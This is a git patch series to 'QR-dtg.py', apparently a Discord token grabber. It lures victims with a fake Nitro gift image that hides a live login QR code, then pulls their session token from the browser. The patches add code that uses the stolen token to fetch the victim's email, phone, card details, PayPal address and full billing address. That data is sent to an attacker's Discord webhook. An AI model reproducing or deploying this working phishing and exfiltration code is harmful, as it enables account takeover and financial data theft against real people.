From 3df6f34d24582c1b4000d21c6d6b1a7fa293a7ed Mon Sep 17 00:00:00 2001 From: mouadessalim <38190847+mouadessalim@users.noreply.github.com> Date: Wed, 17 Aug 2022 00:51:27 +0100 Subject: [PATCH 1/2] Update QR-dtg.py --- QR-dtg.py | 98 ++++++++++++++++++++++++++++++++----------------------- 1 file changed, 58 insertions(+), 40 deletions(-) diff --git a/QR-dtg.py b/QR-dtg.py index 56c2496..1d06912 100644 --- a/QR-dtg.py +++ b/QR-dtg.py @@ -1,13 +1,14 @@ -import base64, os, platform, re, requests, time +import base64, os, platform, re, time, sys +from requests import get from bs4 import BeautifulSoup from colorama import Fore, init from PIL import Image from selenium import webdriver from warnings import filterwarnings +from discord_webhook import DiscordEmbed, DiscordWebhook def clear() -> None: - """Clear the screen; works with "cls" and "clear" commands. - """ + #Clear the screen; works with "cls" and "clear" commands. if platform.system() == "Windows": os.system("cls") elif platform.system() == "Darwin" or platform.system() == "Linux": @@ -16,24 +17,37 @@ def clear() -> None: pass def generate_qr() -> None: - """Generate a QR code to paste onto a discord nitro template. - """ + #Generate a QR code to paste onto a discord nitro template. qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") qr_img.paste(ovly_img, (60, 55)) qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) def generate_nitro_template() -> None: - """Generate the nitro template using the QR code generated by generate_qr. - """ - nitro_template = Image.open( - os.path.normpath(r"resources/template.png"), - "r" - ) + #Generate the nitro template using the QR code generated by generate_qr. + nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r") qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") nitro_template.paste(qr_img, (120, 409)) nitro_template.save("discord_gift.png", quality=95) +def get_user_data(tk): + try: + headers = {'Authorization': tk} + response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() + return [response['username'], response['discriminator'], response['email'], response['phone']] + except: + return None + +def get_discord_info(tk, link_int): + #Get payment and sub information. + headers = {'Authorization': tk} + if link_int == 1: + response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() + elif link_int == 2: + response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() + return response + + def main(webhook_url) -> None: """Use selenium webdriver to go to the discord login page. Then, grab the source of the page and use regex to identify the class @@ -57,7 +71,7 @@ def main(webhook_url) -> None: if not (div := re.search(r"qrCode-......", str(source))): print(f"{Fore.LIGHTRED_EX}Error: \ the regular expression 'qrCode-......' is not found.") - os._exit(1) + sys.exit() div = div.group(0) div = source.find("div", {"class": f"{div}"}) qr_code = div.find("img")["src"] @@ -87,35 +101,41 @@ document.body.appendChild(iframe); let localStorage = iframe.contentWindow.localStorage; var token = JSON.parse(localStorage.token); return token; - ''') + break - print(f""" -{Fore.LIGHTGREEN_EX}The following token has been grabbed: -{token} + print(f""" +{Fore.LIGHTGREEN_EX}The following token has been grabbed: {token} -{Fore.LIGHTYELLOW_EX}Enter anything to exit\n>>> {Fore.LIGHTWHITE_EX}""", +{Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""", end="") - if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None: - print("invalid token? (didnt match regex)") - - data = { - "content": f"TKN: {token}\n", - "username": "QR Logr" - } - if webhook_url: - result = requests.post(webhook_url, json=data) - try: - result.raise_for_status() - except requests.exceptions.HTTPError as e: - print(f"{Fore.LIGHTRED_EX}{e}") - else: - pass - break + webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif") + embed = DiscordEmbed(color='FF00FF') + if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: + userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) + if userdata != None: + embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False) + if bool(user_billings): + for data in user_billings: + if data['type'] == 1: + embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{data['brand']}**||\n:information_source:`Last 4:` ||**{data['last_4']}**||\n:date:`Expiration:` ||**{data['expires_month']}/{data['expires_year']}**|| + ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) + elif data['type'] == 2: + embed.add_embed_field(name='Payment Info (Paypal)', value=f""":incoming_envelope:`Paypal Mail:` ||**{data['email']}**|| + ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) + else: + embed.add_embed_field(name='Payment Info (:x:)', value="**No Payment Info Founded.**\n", inline=False) + else: + embed.add_embed_field(name='User Token Info :interrobang:', value="**This token doesn't provide any information about the account, maybe it's corrupted.**\n", inline=False) + embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) + else: + embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) + webhook.add_embed(embed) + embed.set_footer(text='Created by NightfallGT, Revised by Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) + webhook.execute() + print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !") - driver.quit() - if __name__ == "__main__": filterwarnings("ignore", category=DeprecationWarning) init() @@ -126,14 +146,12 @@ if __name__ == "__main__": {Fore.BLUE}Created by NightfallGT Using utilities.tk API Revised by Luci (9P9) +Revised by Lemon.-_-.#3714 (mouadessalim) Revised by the-cult-of-integral Revised by mte0 -Revised by Lemon.-_-.#3714 (mouadessalim) {Fore.LIGHTYELLOW_EX}Enter a webhook URL. >>> {Fore.LIGHTWHITE_EX}""", end="") - webhook_url = input() - main(webhook_url) - input() + main(input()) + input(f'{Fore.LIGHTYELLOW_EX}>>>') print(f"{Fore.RESET}") - clear() From 3bf972cebe8d5975a1fac27be8c222c1e51a49fc Mon Sep 17 00:00:00 2001 From: mouadessalim <38190847+mouadessalim@users.noreply.github.com> Date: Wed, 17 Aug 2022 13:42:11 +0100 Subject: [PATCH 2/2] Update QR-dtg.py --- QR-dtg.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/QR-dtg.py b/QR-dtg.py index 1d06912..e663278 100644 --- a/QR-dtg.py +++ b/QR-dtg.py @@ -46,8 +46,7 @@ def get_discord_info(tk, link_int): elif link_int == 2: response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() return response - - + def main(webhook_url) -> None: """Use selenium webdriver to go to the discord login page. Then, grab the source of the page and use regex to identify the class